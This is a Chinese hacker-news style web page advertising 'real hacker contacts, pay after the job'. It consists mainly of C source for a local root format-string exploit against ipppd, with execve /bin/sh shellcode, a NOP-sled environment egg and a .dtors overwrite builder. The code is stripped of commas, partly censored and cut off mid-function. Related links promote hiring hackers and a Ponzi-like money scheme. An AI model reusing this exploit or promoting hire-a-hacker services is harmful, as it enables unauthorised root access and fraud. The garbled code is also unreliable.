真实黑客联系方式(先做再付黑客联系方式

访客4年前黑客资讯368

/ #include #include #include #include #define ADD 0x100 #define OCT( b0 b1 b2 b3 addr ) { \ b0 = (addr >> 24) & 0xff; \ b1 = (addr >> 16) & 0xff; \ b2 = (addr >> 8) & 0xff; \ b3 = (addr ) & 0xff; \ } #define DTORS "/usr/bin/objdump -s -j .dtors /usr/ *** in/ipppd | /usr/bin/cut -c 2-9 |/usr/bin/awk NR==5" #define IPPPD "/usr/ *** in/ipppd" #define OFFSET 11 #define BASE 5 #define DEF_EGGSIZE 500 #define DEF_ALIGN 4 char vitamin[300]; char DtorsAddr[36]; unsigned long get_sp(void) { __a *** __ ("movl %esp %eax"); } char nop[] = { 0x90 }; static char shellcode[] = //ptrace24.c shellcode "\x6a\x17\x58\x31\xdb\xcd\x80\x31" "\xd2\x52\x68\x6e\x2f\x73\x68\x68" "\x2f\x2f\x62\x69\x89\xe3\x52\x53" "\x89\xe1\x8d\x42\x0b\xcd\x80"; int i=0; char *pointer; char *nops = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; int find(){ /*Thanks to GOBBLES for the find() code*/ pointer = (char *)get_sp(); while((i = strncmp(pointer nops strlen(nops))) != 0) pointer++; if(i == 0) { pointer=pointer+1; return pointer; } else { fprintf(stderr "Sorry nimm GDB\n"); return; } } char * grepit() { //from the Mixter md5bd.c backdoor FILE *p; char fmt[1024]; snprintf(fmt 1024 DTORS); p = popen(fmt "r"); memset(DtorsAddr 0 36); fread(DtorsAddr 32 1 p); fclose(p); return DtorsAddr; } char * build_hn( unsigned int retaddr unsigned int offset unsigned int base ) { // From the fmtbuilder.c unsigned int length; unsigned int high low; char * buf; int start = ((base / (ADD*ADD)) + 1)*ADD*ADD; high = ( retaddr & 0xffff0000 ) >> 16; low = retaddr & 0x0000ffff; length = ( sizeof( offset ) * 2 ) + sizeof( high ) + sizeof( low ) + 15; if ( !(buf = (char *)malloc(length * sizeof(char))) ) { fprintf( stderr "Can't allocate buffer (%d)\n" length ); exit( -1 ); } memset( buf 0 length ); snprintf( buf length "%%.%hdx%%%d$n%%.%hdx%%%d$hn" low - ( sizeof( size_t ) * 2 ) + start - base offset high - low + start offset+1 ); return buf; } void soso(void) { printf ( "\t\t***yet another lame ipppd local root formatstring exploit***\n\n"); printf ( "**usage:\n\n exploitipppd -s start the eggshell -e !ExploRe iT! [-d .dtors section -o offset -b base]\n\n"); } void egg() { char *eggbuf *buf_ptr; int align i eggsize ; align = DEF_ALIGN; eggsize = DEF_EGGSIZE ; if ( (eggbuf = malloc( eggsize )) == NULL ) { printf ("error : malloc \n"); exit (-1); } /* set egg buf */ memset( eggbuf (int)NULL eggsize ); for ( i = 0; i < 250 ; i++ ) strcat ( eggbuf nop ); strcat ( eggbuf shellcode ); for ( i =0 ; i < align ; i++ ) strcat ( eggbuf "A"); memcpy ( eggbuf "S=" 2 ); putenv ( eggbuf ); fprintf(stderr "\nUse ./exploitipppd -e to explore ipppd now\n\n"); system("/bin/sh"); } int main( int argc char **argv[] ) { char opt; char * fmt; char * endian; unsigned long locaddr retaddr; unsigned int offset base align = 0; unsigned char b0 b1 b2 b3; int length ch; int t=0 u=0; if(argc < 2) { soso(); exit(1); } length = ( sizeof( size_t ) * 16 ) + 1; if ( !(endian = (char *)malloc(length * sizeof(char))) ) { fprintf( stderr "Can't allocate buffer (%d)\n" length ); exit( -1 ); } memset( endian 0 length ); offset = OFFS

相关文章

诺迈思智能锁怎么样

诺迈思智能锁怎么样

  跟着智能观念的普及,智能家居行业也迎来了春天。这对付智能锁的呈现和成长而言也是极大的便利,一度成为当下最受接待的智能产物,我们都知道在韩国他们的智能锁具普及率是很高的,险些每一家都有安装。那咱们就...

网上雇佣黑客(雇佣黑客费用)

网上雇佣黑客(雇佣黑客费用)

网上找黑客被骗自己犯法吗 1、把自己的经历说出来,警示他人。让善良的无辜之人不再上当受骗。需要强调的是,不要相信网络黑客什么的会给你找回钱财,全部都是先收你费,然后把你拉黑的。相信黑客能找加被骗钱财的...

做为一个业务负责人,新接手一个项目时候该怎么办?

做为一个业务负责人,新接手一个项目时候该怎么办?

当你接手一个新的项目的时候,需要做哪些事情呢?本文作者给大家提供了五大步骤,讲解了在接受新项目的时候,需要注意的事情,一起来看看~ 一、明确项目定位 项目定位目的是为了让大家知道项目目前的位置在哪里...

qq上找黑客接单怎么搜,找黑客帮忙找人要多少钱,黑客咋找

upLoad_bm1.asp和upLoad_c1.asp这两个随意选个,一般办理员都忽视了这2缝隙。 敞开你的垃圾邮件过滤器。 简直每一个邮箱服务器都供给垃圾邮件过滤器和垃圾箱,运用垃圾箱能够...

微软移除必应中的虚假谷歌Chrome广告

近期,据某推特用户揭露,微软必应搜索引擎含恶意广告,推广虚假的谷歌Chrome网址,在微软将其移除前,少数用户已看到这些广告。 据该推特用户发表的报告可知,必应一直在提供虚假、恶意的谷歌Chro...

【反馈】趣农场复生,可以继续养鸡赚钱了。

去年我推荐了一个叫“趣农场”的养鸡赚钱资金盘,时代也是多次更改规则,现在到了4.0版,新版怎么玩呢?新用户注册登录免费赠予一只领养鸡,天天产0.37枚鸡蛋,满5枚起卖,1枚价钱2米!老用户也可以登录看...